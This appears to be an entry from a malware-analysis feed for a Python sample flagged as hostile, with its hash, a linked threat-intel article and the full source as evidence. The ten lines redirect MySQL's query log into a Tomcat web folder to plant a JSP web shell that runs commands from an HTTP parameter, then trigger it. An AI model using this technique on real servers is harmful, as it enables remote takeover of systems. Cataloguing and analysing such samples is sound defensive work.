Hostile 100% python Download

mysql-jsp.py

MySQL logging writes selected server codeEmbedded JSP executes an HTTP parameter
SHA-2561cc48ccb86e73e1b95c5ccbb70586fed5e4c9de6c6717459e57cc9591d61f80f

Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (ARTEX and Storm-0940: How an AI Attack Framework Became a Growing Threat to Cloud Tenants).

Evidence

Exec argument reads request parameter lines 1–10
1import mysql.connector
2import requests
3connection = mysql.connector.connect(host="database.invalid", user="root", password="RECONSTRUCTED")
4cur = connection.cursor()
5cur.execute("SET GLOBAL general_log = 'OFF'")
6cur.execute("SET GLOBAL log_output = 'FILE'")
7cur.execute("SET GLOBAL general_log_file = '/opt/tomcat/webapps/ROOT/cl1217.jsp'")
8cur.execute("SET GLOBAL general_log = 'ON'")
9cur.execute("""SELECT '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'""")
10requests.get("https://target.invalid/cl1217.jsp", params={"cmd": "id"})

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.